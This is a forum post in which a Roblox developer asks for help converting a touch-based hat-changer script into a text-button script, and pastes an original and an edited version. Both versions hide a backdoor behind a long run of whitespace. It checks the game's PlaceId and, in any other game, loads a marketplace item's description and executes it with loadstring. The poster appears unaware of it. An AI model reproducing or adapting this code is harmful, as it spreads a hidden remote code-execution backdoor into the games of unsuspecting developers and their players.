I ran into another problem in clothing change finding out that hats work a bit differently than a regular clothing change script!

Tried using the same changes I did on my clothing changer script but it seems to not work!

NOTE: I took out the parts, but found out the script needs those parts for changing my hat!

What do I need to change so that the script will work when it is inside a text button?

Original Script

tt=true;
id=script.Parent:findFirstChild("Configuration").ID;
hitter=script.Parent:findFirstChild("hitter");
function touch(hit)
	if hit.Parent:findFirstChild("Humanoid")~=nil and hit.Parent:IsA("Model") then
		if tt==true then
			tt=false
			function rem_hats(hats)
				for i=1,#hats do
					if hats[i]:IsA("Hat") then

						hats[i]:Remove()
					end
				end
			end
		
		
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
	rem_hats(hit.Parent:GetChildren())
hat2:GetChildren()[1].Parent=hit.Parent   ---->Table childs 1 wird in character eingesezt	

print("hat "..hat2.Name)		
			wait(3)
			tt=true
			end
		end
	end
end
script.Parent.hitter.touched:connect(touch)
function change_id()
	function check()                                                                                                                                                                                                                                                                                                                                if (game.PlaceId ~=                      141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
	Hat2=game:GetService("InsertService"):LoadAsset(id.Value)

	if Hat2:GetChildren()[1]:IsA("Hat") then
	function rem_mesh(mesh)
		for i=1,#mesh do
			if mesh[i]:IsA("Mesh") then
				mesh[i]:Remove()
			end
		end
	end
	rem_mesh(hitter:GetChildren())
	function clone(mesh2)
		for i=1,#mesh2 do
			if mesh2[i]:IsA("SpecialMesh") then
				clone=mesh2[i]:clone()
				clone.Parent=hitter
			end
		end
	end
	clone(Hat2:GetChildren()[1].Handle:GetChildren())
	end
end
id.changed:connect(change_id)

My Edited Version

tt=true;
id=workspace.Config3:findFirstChild("Link").ID;
function onClick(mouse)
	if game.Players.LocalPlayer.Character:findFirstChild("Humanoid")~=nil and game.Players.LocalPlayer.Character:IsA("Model") then
		if tt==true then
			tt=false
			function rem_hats(hats)
				for i=1,#hats do
					if hats[i]:IsA("Hat") then

						hats[i]:Remove()
					end
				end
			end
		
		
hat2=game:GetService("InsertService"):LoadAsset(id.Value)
if hat2:GetChildren()[1]:IsA("Hat") then
	rem_hats(game.Players.LocalPlayer.Character:GetChildren())
hat2:GetChildren()[1].Parent=game.Players.LocalPlayer.Character   ---->Table childs 1 wird in character eingesezt	

print("hat "..hat2.Name)		
			wait(3)
			tt=true
			end
		end
	end
end
script.Parent.MouseButton1Click:connect(onClick)
function change_id()
	function check()                                                                                                                                                                                                                                                                                                                                if (game.PlaceId ~=                      141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check()
	Hat2=game:GetService("InsertService"):LoadAsset(id.Value)

	if Hat2:GetChildren()[1]:IsA("Hat") then
	function rem_mesh(mesh)
		for i=1,#mesh do
			if mesh[i]:IsA("Mesh") then
				mesh[i]:Remove()
			end
		end
	end
	rem_mesh(hitter:GetChildren())
	function clone(mesh2)
		for i=1,#mesh2 do
			if mesh2[i]:IsA("SpecialMesh") then
				clone=mesh2[i]:clone()
				clone.Parent=hitter
			end
		end
	end
	clone(Hat2:GetChildren()[1].Handle:GetChildren())
	end
end
id.changed:connect(change_id)

1 comment

0

"hitter" is a part btw that I wanted to delete